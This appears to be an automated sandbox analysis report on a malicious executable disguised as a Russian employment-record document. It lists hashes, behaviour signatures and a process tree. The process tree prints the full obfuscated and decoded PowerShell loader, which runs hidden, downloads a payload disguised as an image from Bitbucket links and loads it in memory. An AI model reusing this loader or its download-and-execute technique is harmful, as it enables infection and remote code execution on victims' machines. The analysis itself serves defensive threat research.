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Analysis

  • max time kernel
    118s
  • max time network
    118s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    25/06/2024, 12:33

General

  • Target

    Копия трудовой.docx.exe

  • Size

    1.8MB

  • MD5

    6a5cb8007261d0ef578c02de549e5b6f

  • SHA1

    f14a1505471dd77efc07cfcfd4e5248fce09d495

  • SHA256

    60414e88a21df60b0caccdf498b41aa7c75c10d880ab61a620f5b13ba2faebd1

  • SHA512

    10488946d37ab1935c648f532f223ec4bc4d15f8f94065509dc41aff77f671224403b720bb31743df44c3dee17c2326e8bc479d67c9355e0b0ff910c776380e4

  • SSDEEP

    49152:DjfldAdiiAojFrHLsPazEzHEOtkwTfljaRRsjHyTpo3D:Db8diiXBrHL2a8HnTNjarsjHQM

Malware Config

Signatures

  • Blocklisted process makes network request 4 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Drops startup file 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 5 IoCs
  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 21 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Копия трудовой.docx.exe
    "C:\Users\Admin\AppData\Local\Temp\Копия трудовой.docx.exe"
    1⤵
    • Drops startup file
    • Loads dropped DLL
    • Suspicious use of WriteProcessMemory
    PID:2884
    • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
      "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Copy_trydovoj.docx"
      2⤵
      • Drops file in Windows directory
      • Modifies Internet Explorer settings
      • Modifies registry class
      • Suspicious behavior: AddClipboardFormatListener
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:2340
      • C:\Windows\splwow64.exe
        C:\Windows\splwow64.exe 12288
        3⤵
          PID:2948
      • C:\Users\Admin\AppData\Local\Temp\putin_hyilo.exe
        C:\Users\Admin\AppData\Local\Temp\putin_hyilo.exe
        2⤵
        • Executes dropped EXE
        • Adds Run key to start application
        • Suspicious use of WriteProcessMemory
        PID:2596
        • C:\Windows\system32\cmd.exe
          cmd /c dts.bat
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:2600
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell "$codigo = 'WwBO#GU#d##u#FM#ZQBy#HY#aQBj#GU#U#Bv#Gk#bgB0#E0#YQBu#GE#ZwBl#HI#XQ#6#Do#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b##g#D0#I#Bb#E4#ZQB0#C4#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b#BU#Hk#c#Bl#F0#Og#6#FQ#b#Bz#DE#Mg#N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgB1#G4#YwB0#Gk#bwBu#C##R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#RgBy#G8#bQBM#Gk#bgBr#HM#I#B7#C##c#Bh#HI#YQBt#C##K#Bb#HM#d#By#Gk#bgBn#Fs#XQBd#CQ#b#Bp#G4#awBz#Ck#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#B3#GU#YgBD#Gw#aQBl#G4#d##g#D0#I#BO#GU#dw#t#E8#YgBq#GU#YwB0#C##UwB5#HM#d#Bl#G0#LgBO#GU#d##u#Fc#ZQBi#EM#b#Bp#GU#bgB0#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#C##PQ#g#Ec#ZQB0#C0#UgBh#G4#Z#Bv#G0#I##t#Ek#bgBw#HU#d#BP#GI#agBl#GM#d##g#CQ#b#Bp#G4#awBz#C##LQBD#G8#dQBu#HQ#I##k#Gw#aQBu#Gs#cw#u#Ew#ZQBu#Gc#d#Bo#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgBv#HI#ZQBh#GM#a##g#Cg#J#Bs#Gk#bgBr#C##aQBu#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#Ck#I#B7#C##d#By#Hk#I#B7#C##cgBl#HQ#dQBy#G4#I##k#Hc#ZQBi#EM#b#Bp#GU#bgB0#C4#R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#K##k#Gw#aQBu#Gs#KQ#g#H0#I#Bj#GE#d#Bj#Gg#I#B7#C##YwBv#G4#d#Bp#G4#dQBl#C##fQ#g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I#By#GU#d#B1#HI#bg#g#CQ#bgB1#Gw#b##g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#Gw#aQBu#Gs#cw#g#D0#I#B##Cg#JwBo#HQ#d#Bw#HM#Og#v#C8#YgBp#HQ#YgB1#GM#awBl#HQ#LgBv#HI#Zw#v#Gg#ZwBk#GY#a#Bk#GY#ZwBk#C8#d#Bl#HM#d##v#GQ#bwB3#G4#b#Bv#GE#Z#Bz#C8#bgBl#Hc#XwBp#G0#YQBn#GU#LgBq#H##Zw#/#DE#Mw#0#DQ#MQ#3#DI#MQ#n#Cw#I##n#Gg#d#B0#H##cw#6#C8#LwBi#Gk#d#Bi#HU#YwBr#GU#d##u#G8#cgBn#C8#a#Bn#GQ#ZgBo#GQ#ZgBn#GQ#LwB0#GU#cwB0#C8#Z#Bv#Hc#bgBs#G8#YQBk#HM#LwBu#GU#dwBf#Gk#bQBh#Gc#ZQ#u#Go#c#Bn#D8#MQ#0#DQ#N##x#Dc#Mg#z#Cc#KQ#7##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##g#CQ#aQBt#GE#ZwBl#EI#eQB0#GU#cw#g#D0#I#BE#G8#dwBu#Gw#bwBh#GQ#R#Bh#HQ#YQBG#HI#bwBt#Ew#aQBu#Gs#cw#g#CQ#b#Bp#G4#awBz#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##aQBm#C##K##k#Gk#bQBh#Gc#ZQBC#Hk#d#Bl#HM#I##t#G4#ZQ#g#CQ#bgB1#Gw#b##p#C##ew#g#CQ#aQBt#GE#ZwBl#FQ#ZQB4#HQ#I##9#C##WwBT#Hk#cwB0#GU#bQ#u#FQ#ZQB4#HQ#LgBF#G4#YwBv#GQ#aQBu#Gc#XQ#6#Do#VQBU#EY#O##u#Ec#ZQB0#FM#d#By#Gk#bgBn#Cg#J#Bp#G0#YQBn#GU#QgB5#HQ#ZQBz#Ck#Ow#N##o#I##g#C##I##g#C##I##g#C##I##g#C##I##k#HM#d#Bh#HI#d#BG#Gw#YQBn#C##PQ#g#Cc#P##8#EI#QQBT#EU#Ng#0#F8#UwBU#EE#UgBU#D4#Pg#n#Ds#I##k#GU#bgBk#EY#b#Bh#Gc#I##9#C##Jw#8#Dw#QgBB#FM#RQ#2#DQ#XwBF#E4#R##+#D4#Jw#7#C##J#Bz#HQ#YQBy#HQ#SQBu#GQ#ZQB4#C##PQ#g#CQ#aQBt#GE#ZwBl#FQ#ZQB4#HQ#LgBJ#G4#Z#Bl#Hg#TwBm#Cg#J#Bz#HQ#YQBy#HQ#RgBs#GE#Zw#p#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#Bl#G4#Z#BJ#G4#Z#Bl#Hg#I##9#C##J#Bp#G0#YQBn#GU#V#Bl#Hg#d##u#Ek#bgBk#GU#e#BP#GY#K##k#GU#bgBk#EY#b#Bh#Gc#KQ#7##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##g#Gk#Zg#g#Cg#J#Bz#HQ#YQBy#HQ#SQBu#GQ#ZQB4#C##LQBn#GU#I##w#C##LQBh#G4#Z##g#CQ#ZQBu#GQ#SQBu#GQ#ZQB4#C##LQBn#HQ#I##k#HM#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#KQ#g#Hs#I##k#HM#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#I##r#D0#I##k#HM#d#Bh#HI#d#BG#Gw#YQBn#C4#T#Bl#G4#ZwB0#Gg#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#GI#YQBz#GU#Ng#0#Ew#ZQBu#Gc#d#Bo#C##PQ#g#CQ#ZQBu#GQ#SQBu#GQ#ZQB4#C##LQ#g#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##7##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##g#CQ#YgBh#HM#ZQ#2#DQ#QwBv#G0#bQBh#G4#Z##g#D0#I##k#Gk#bQBh#Gc#ZQBU#GU#e#B0#C4#UwB1#GI#cwB0#HI#aQBu#Gc#K##k#HM#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#L##g#CQ#YgBh#HM#ZQ#2#DQ#T#Bl#G4#ZwB0#Gg#KQ#7##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##g#CQ#YwBv#G0#bQBh#G4#Z#BC#Hk#d#Bl#HM#I##9#C##WwBT#Hk#cwB0#GU#bQ#u#EM#bwBu#HY#ZQBy#HQ#XQ#6#Do#RgBy#G8#bQBC#GE#cwBl#DY#N#BT#HQ#cgBp#G4#Zw#o#CQ#YgBh#HM#ZQ#2#DQ#QwBv#G0#bQBh#G4#Z##p#Ds#I##k#Gw#bwBh#GQ#ZQBk#EE#cwBz#GU#bQBi#Gw#eQ#g#D0#I#Bb#FM#eQBz#HQ#ZQBt#C4#UgBl#GY#b#Bl#GM#d#Bp#G8#bg#u#EE#cwBz#GU#bQBi#Gw#eQBd#Do#OgBM#G8#YQBk#Cg#J#Bj#G8#bQBt#GE#bgBk#EI#eQB0#GU#cw#p#Ds#I##k#HQ#eQBw#GU#I##9#C##J#Bs#G8#YQBk#GU#Z#BB#HM#cwBl#G0#YgBs#Hk#LgBH#GU#d#BU#Hk#c#Bl#Cg#JwB0#GU#cwB0#H##bwB3#GU#cgBz#Gg#ZQBs#Gw#LgBI#G8#bQBl#Cc#KQ#7##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#G0#ZQB0#Gg#bwBk#C##PQ#g#CQ#d#B5#H##ZQ#u#Ec#ZQB0#E0#ZQB0#Gg#bwBk#Cg#JwBs#GE#Jw#p#C4#SQBu#HY#bwBr#GU#K##k#G4#dQBs#Gw#L##g#Fs#bwBi#Go#ZQBj#HQ#WwBd#F0#I##o#Cc#d#B4#HQ#LgBt#H##YwBT#EE#bwBy#C8#cwBk#GE#bwBs#G4#dwBv#GQ#LwBq#HI#d#B5#GY#ZwBk#GY#Lw#0#DI#MQ#0#DI#ZgBz#GE#Zg#v#Gc#cgBv#C4#d#Bl#Gs#YwB1#GI#d#Bp#GI#Lw#v#Do#cwBw#HQ#d#Bo#Cc#L##g#Cc#Mg#n#Cw#I##n#HM#dgBo#G8#cwB0#Cc#L##g#Cc#UgBl#Gc#QQBz#G0#Jw#s#C##Jw#x#Cc#KQ#p#H0#fQ#=';$oWjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string($codigo.replace('#','A')));powershell.exe -windowstyle hidden -executionpolicy bypass -Noprofile -command $OWjuxD"
            4⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:2576
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach ($link in $shuffledLinks) { try { return $webClient.DownloadData($link) } catch { continue } }; return $null }; $links = @('https://bitbucket.org/hgdfhdfgd/test/downloads/new_image.jpg?13441721', 'https://bitbucket.org/hgdfhdfgd/test/downloads/new_image.jpg?14441723'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('testpowershell.Home'); $method = $type.GetMethod('la').Invoke($null, [object[]] ('txt.mpcSAor/sdaolnwod/jrtyfgdf/42142fsaf/gro.tekcubtib//:sptth', '2', 'svhost', 'RegAsm', '1'))}}"
              5⤵
              • Blocklisted process makes network request
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:2872

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\Copy_trydovoj.docx

      Filesize

      1.5MB

      MD5

      789497a9ff0bd7df99aa662f512c6856

      SHA1

      f69cec1046f8e59983fd8cfcae867926495fadd6

      SHA256

      8646226f4b2b2b96d5e31d4daae0ac5484edc2a7759297e0f63a06358ea61a38

      SHA512

      71442dec98b3ec16f94ec07380087370c72a48532398f893a9324081f7560f7c620b549770b97356fe5400f6ef7e4935b6339d477298be13966c06f1f5065205

    • C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\dts.bat

      Filesize

      12KB

      MD5

      ac016863ff9cb26ddc1173da42a442d1

      SHA1

      3fb4058642619f1dc90febe9794742ef172975d2

      SHA256

      330d3eee12c2d4c05abdac1cd9fbcb88b6f2f257b7f12f06332b9e63ce3b51e7

      SHA512

      17787a2ec1b757ddab99076afc7f5855dd2b89ccbfd52a6a7374ac2496b5b2c2273062900f29c63b413ed4a1fc627ec323e046febb914dabb7f0927755396603

    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

      Filesize

      7KB

      MD5

      c8d0f6c00f1fa4c4e6353c826ea7241e

      SHA1

      185442d5b822f4f4f99673f4bc49dbb108e943bb

      SHA256

      126de91204290edfe89f0e619f117ae56089e31704d60ca44ac41df004a44f5e

      SHA512

      67054e15c53e180bff680f0749454b4170c9c05d2f137f4f7bfcacf70f00361441da3dc3d3bc19e1ee032066045526427978ae30f0638be60525a4de86479a21

    • \Users\Admin\AppData\Local\Temp\putin_hyilo.exe

      Filesize

      176KB

      MD5

      df5671afa8a8170a515c589e1b342d52

      SHA1

      ae327ecd6f312f5860fe35bacfa36cb9768852bb

      SHA256

      6e9d23e7b4a677651ccb362fa6833ca13deef184a45a801cb1d7d1f542210809

      SHA512

      156499f5e8a28206450e5946d26e12b3da589fb8972cdb85a2beef6f09943f8de5f40938ed402cbe661f4a3c24554f807755c29d2ef8b2a083c5e86d2faf108b

    • memory/2340-2-0x000000002F311000-0x000000002F312000-memory.dmp

      Filesize

      4KB

    • memory/2340-3-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2340-4-0x0000000070F7D000-0x0000000070F88000-memory.dmp

      Filesize

      44KB

    • memory/2340-35-0x0000000070F7D000-0x0000000070F88000-memory.dmp

      Filesize

      44KB

    • memory/2576-20-0x000000001B580000-0x000000001B862000-memory.dmp

      Filesize

      2.9MB

    • memory/2576-21-0x0000000002240000-0x0000000002248000-memory.dmp

      Filesize

      32KB